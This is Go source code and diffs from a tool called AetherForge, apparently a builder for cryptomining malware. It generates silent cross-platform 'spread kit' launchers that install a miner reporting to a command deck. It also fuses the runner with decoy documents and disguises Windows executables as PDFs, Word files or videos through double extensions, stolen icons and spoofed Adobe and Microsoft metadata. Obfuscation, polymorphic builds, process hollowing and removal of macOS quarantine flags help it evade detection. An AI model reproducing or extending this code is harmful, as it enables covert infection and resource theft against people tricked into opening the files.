ExportPath: outDir,
}, http.StatusOK, primaryPath
}
func runnerNameForPlatform(p BuildPlatform) string {
if p.GOOS == "windows" {
return "runner.exe"
}
return "runner"
}
func fileSize(st os.FileInfo) int64 {
if st == nil {
return 0
}
return st.Size()
}
const universalDeploySh = `#!/bin/sh
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
export AETHER_KIT_DIR="$DIR"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
*) RUN="$DIR/bin/linux-amd64/worker" ;;
esac
;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
esac
;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then
echo "Worker binary missing: $RUN"
exit 1
fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
exit 0
`
func spreadKitDeploySh() string {
return universalDeploySh
}
const spreadKitDeployBatBody = `@echo off
setlocal
set "DIR=%~dp0"
set "AETHER_KIT_DIR=%DIR%"
set "RUN=%DIR%bin\windows-amd64\worker.exe"
if not exist "%RUN%" (
echo Worker missing: %RUN%
exit /b 1
)
start "" /B "%RUN%" --spread-install
exit /b 0
`
func spreadKitDeployBat() string {
return spreadKitDeployBatBody
}
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
run = dir & "bin\windows-amd64\worker.exe"
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
WScript.Echo "Worker missing: " & run
WScript.Quit 1
End If
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
sh.Run """" & run & """ --spread-install", 0, False
`
func spreadKitDeployVbs() string {
return spreadKitDeployVbsBody
}
const spreadKitStartCommandBody = `#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/deploy.sh"
`
func spreadKitStartCommand() string {
return spreadKitStartCommandBody
}
const universalDeployBat = `@echo off
set DIR=%~dp0
"%DIR%bin\windows-amd64\worker.exe" --spread-install
`
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
func fusionUniversalStartSh(title string) string {
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if base == "" {
base = "runner"
}
runnerBase := sanitizeFileName(base + "-runner")
return `#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
esac ;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
esac ;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
exec "$RUN"
`
}
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
// title is the payload filename — the runner uses the double-extension disguised name.
func fusionUniversalStartBat(title string) string {
runnerExe := disguisedRunnerName(title)
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
}
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
func fusionUniversalStartCommand() string {
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
}
func formatSpreadKitReadme(req *BuildRequest) string {
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
=====================================
Run ONE launcher for your OS (silent install + mining + deck connection):
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
Linux: chmod +x deploy.sh && ./deploy.sh
macOS: double-click Start.command (or ./deploy.sh)
Keep the entire folder together — bin/ must stay next to the launcher.
Command deck URL baked into workers: %s
If agents never appear, re-forge with your LAN IP (not localhost).
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
`, req.WorkerName, req.ServerURL)
}
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
Worker: %s
Build ID: %s
Command URL: %s
Pool: %s:%d
Wallet: %s…
Auto-spread: %v
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
}
func truncateWallet(w string) string {
w = strings.TrimSpace(w)
if len(w) <= 16 {
return w
}
return w[:16]
}

View File

@@ -1,13 +1,5 @@
package builder package builder
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
)
func (h *Handler) buildTagsFor(req *BuildRequest) []string { func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string var tags []string
if req.ProcessHollowing { if req.ProcessHollowing {
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
} }
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) { func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
env := append(os.Environ(), return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
}
return out, nil
} }

View File

@@ -0,0 +1,75 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
env := append(os.Environ(),
"GOOS="+platform.GOOS,
"GOARCH="+platform.GOARCH,
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
if obfuscate && platform.GOOS == "windows" && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
name := workerFileName(req.WorkerName, platform, fusionWorker)
outputPath := filepath.Join(buildDir, platform.Label(), name)
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
return "", err
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return "", fmt.Errorf("write builtin config: %w", err)
}
ldflags := ldflagsFor(req, platform)
extra, err := injectPolymorph(agentDir, buildID)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
return "", err
}
return outputPath, nil
}

View File

@@ -0,0 +1,225 @@
package builder
import (
"encoding/json"
"fmt"
"path/filepath"
"strings"
)
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
// When injected into the runner, Windows Explorer and Task Manager will show
// this information instead of the generic Go binary defaults.
type fileDisguiseInfo struct {
FileDescription string
ProductName string
CompanyName string
LegalCopyright string
OriginalFilename string // the "real" exe that Windows thinks this is
FileVersion string // e.g. "24.0.20112.0"
ProductVersion string // e.g. "2024.002.20965"
}
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
// the runner binary look like the legitimate application for that file type.
// Extensions without an entry fall back to a generic Windows shell host entry.
var disguiseByExt = map[string]fileDisguiseInfo{
// ── Documents ──────────────────────────────────────────────────────────────
".pdf": {
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
},
".doc": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".docx": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xls": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xlsx": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".ppt": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".pptx": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".txt": {
FileDescription: "Text Document", ProductName: "Notepad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".csv": {
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
// ── Video ──────────────────────────────────────────────────────────────────
".mp4": {
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".mkv": {
FileDescription: "Matroska Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".mov": {
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
},
".avi": {
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wmv": {
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Audio ──────────────────────────────────────────────────────────────────
".mp3": {
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wav": {
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Images ─────────────────────────────────────────────────────────────────
".jpg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".jpeg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".png": {
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".gif": {
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
// ── Archives ───────────────────────────────────────────────────────────────
".zip": {
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".rar": {
FileDescription: "WinRAR archive", ProductName: "WinRAR",
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
},
}
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
// Falls back to a generic Windows shell host entry if the extension is not recognised.
func fileDisguiseForExt(ext string) fileDisguiseInfo {
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
return info
}
// Generic fallback — looks like a Windows shell component
return fileDisguiseInfo{
FileDescription: "Windows Shell Extension", ProductName: "Windows",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
}
}
// disguisedRunnerName returns the Windows runner filename that impersonates a
// document type using the double-extension trick:
//
// "report.pdf" → "report.pdf.exe"
// "clip.mp4" → "clip.mp4.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
func disguisedRunnerName(payloadName string) string {
ext := strings.ToLower(filepath.Ext(payloadName))
if ext == ".exe" || ext == "" {
// Already an exe payload or no extension — no double-extension trick
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "setup"
}
return sanitizeFileName(base) + ".exe"
}
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "file"
}
// e.g. "quarterly-report.pdf.exe"
return sanitizeFileName(base) + ext + ".exe"
}
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
// icoRelPath, relative to the winres JSON) and the spoofed version info.
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{"0409": icoRelPath},
},
"RT_VERSION": map[string]any{
"#1": map[string]any{
"0409": map[string]any{
"FILEVERSION": fv,
"PRODUCTVERSION": pv,
"FileDescription": info.FileDescription,
"FileVersion": info.FileVersion,
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
"LegalCopyright": info.LegalCopyright,
"OriginalFilename": info.OriginalFilename,
"ProductName": info.ProductName,
"ProductVersion": info.ProductVersion,
"CompanyName": info.CompanyName,
},
},
},
}
return marshalJSONPretty(doc)
}
func marshalJSONPretty(v any) ([]byte, error) {
return json.MarshalIndent(v, "", " ")
}
// fileDisguiseSummary returns a one-line human-readable description of what the
// disguise will look like, used for logging.
func fileDisguiseSummary(payloadExt string) string {
info := fileDisguiseForExt(payloadExt)
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
}

View File

@@ -0,0 +1,10 @@
//go:build !windows
package builder
// applyDocumentDisguise is a no-op on non-Windows build hosts.
// Icon + version-info injection into PE executables requires Windows tooling.
// The runner will still function correctly; it just won't have the spoofed icon.
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
return nil
}

View File

@@ -0,0 +1,118 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
// the file type identified by payloadExt.
//
// What it does:
// 1. Extracts the Windows system icon registered for that extension (e.g. the
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
// extension and using PowerShell to read the shell's associated icon.
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
// to match the legitimate application for that file type.
// 3. Patches the runner exe in-place.
//
// After this runs, Windows Explorer shows the runner with the exact icon and
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
// Combined with double-extension naming (report.pdf.exe) the runner is visually
// indistinguishable from the real file when extension hiding is on (Windows default).
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
info := fileDisguiseForExt(payloadExt)
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
if err != nil {
return fmt.Errorf("disguise workdir: %w", err)
}
defer os.RemoveAll(workDir)
// Step 1 — extract the system icon for this file extension
icoPath := filepath.Join(workDir, "payload.ico")
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
}
}
// Step 2 — build the winres patch JSON (icon + version info)
jsonBytes, err := winresVersionJSON(info, "payload.ico")
if err != nil {
return fmt.Errorf("disguise: winres json: %w", err)
}
jsonPath := filepath.Join(workDir, "disguise.json")
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
return fmt.Errorf("disguise: write json: %w", err)
}
// Step 3 — patch the exe with go-winres
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
return fmt.Errorf("disguise: go-winres patch: %w", err)
}
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
return nil
}
// extractSystemIconForExt creates a 0-byte temp file with the given extension
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
// This gives us the exact same icon that Windows Explorer would show for a real
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
func extractSystemIconForExt(ext, icoPath string) error {
extEsc := strings.ReplaceAll(ext, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
# Create a disposable 0-byte temp file with the target extension
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
try {
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
} finally {
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
}
`, extEsc, extEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not written for %s: %w", ext, err)
}
return nil
}
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
// document types. Used when the system icon extraction fails (e.g. the application
// is not installed on the forge machine). The icons are very small but correct.
func writeBuiltinIconForExt(ext, icoPath string) error {
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
// In practice extractSystemIconForExt should always work on a Windows machine.
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
"\x28\x00\x00\x00\x16\x00\x00\x00" +
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\xff\x00\x00\x00\x00\x00"
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
}

View File

@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if outputName == "" { if outputName == "" {
outputName = prepName outputName = prepName
} }
if kind == "video" {
if mode == "embedded" {
if outputName == "" { if outputName == "" {
outputName = disguiseVideoExeName(prepName) // Default runner name derived from payload filename
} winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
} else if outputName == "" { outputName = runnerNameForFile(prepName, winPlatform)
outputName = runnerNameForMedia(prepName)
}
}
if outputName == "" {
outputName = "prep.exe"
} }
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe" outputName += ".exe"

View File

@@ -0,0 +1,35 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
if appName == ".app" {
appName = "Movie.app"
}
appDir := filepath.Join(outDir, appName)
macosDir := filepath.Join(appDir, "Contents", "MacOS")
if err := os.MkdirAll(macosDir, 0755); err != nil {
return err
}
dest := filepath.Join(macosDir, "runner")
if err := copyFile(runnerPath, dest); err != nil {
return err
}
_ = os.Chmod(dest, 0755)
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>CFBundleName</key><string>%s</string>
<key>CFBundleExecutable</key><string>runner</string>
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
<key>LSUIElement</key><true/>
</dict></plist>`, name, sanitizeFileName(title))
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
}

View File

@@ -12,101 +12,104 @@ import (
type fusionBuildResult struct { type fusionBuildResult struct {
LauncherPath string LauncherPath string
MediaName string MediaName string
// Legacy fields kept for backward compat — unused in file-fusion mode
EncryptedPath string EncryptedPath string
ShortcutPath string ShortcutPath string
} }
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
func detectFusionPayloadKind(path string) string { func detectFusionPayloadKind(path string) string {
switch strings.ToLower(filepath.Ext(path)) { if strings.EqualFold(filepath.Ext(path), ".exe") {
case ".mp4", ".mkv", ".mov":
return "video"
default:
return "exe" return "exe"
} }
return "file"
} }
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
platforms := platformsForRequest(req)
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
}
// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind) kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" { if kind == "" {
kind = detectFusionPayloadKind(payloadPath) kind = detectFusionPayloadKind(payloadPath)
} }
req.FusionPayloadKind = kind req.FusionPayloadKind = kind
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
if kind == "video" {
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
}
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return nil, err
}
return &fusionBuildResult{LauncherPath: path}, nil
} }
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { // buildFileFusion builds a universal fusion runner for any file type.
//
// Delivery modes:
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode) mode := normalizeFusionMediaMode(req.FusionMediaMode)
// Resolve the display name for the payload file
mediaName := strings.TrimSpace(req.FusionMediaBaseName) mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" { if mediaName == "" {
mediaName = filepath.Base(mediaPath) mediaName = filepath.Base(payloadPath)
} }
mediaName = sanitizeFileName(mediaName) mediaName = sanitizeFileName(mediaName)
// Resolve the runner output name
outputName := strings.TrimSpace(req.FusionOutputName) outputName := strings.TrimSpace(req.FusionOutputName)
if mode == "embedded" {
if outputName == "" { if outputName == "" {
outputName = disguiseVideoExeName(mediaName) outputName = runnerNameForFile(mediaName, platform)
}
} else { } else {
if outputName == "" { // Ensure correct extension for this platform
outputName = runnerNameForMedia(mediaName) if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
outputName += platform.Ext
} else if platform.Ext == "" {
outputName = strings.TrimSuffix(outputName, ".exe")
} }
} }
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName) outputName = sanitizeFileName(outputName)
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName) kind := req.FusionPayloadKind
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
if err != nil { if err != nil {
return nil, err return nil, err
} }
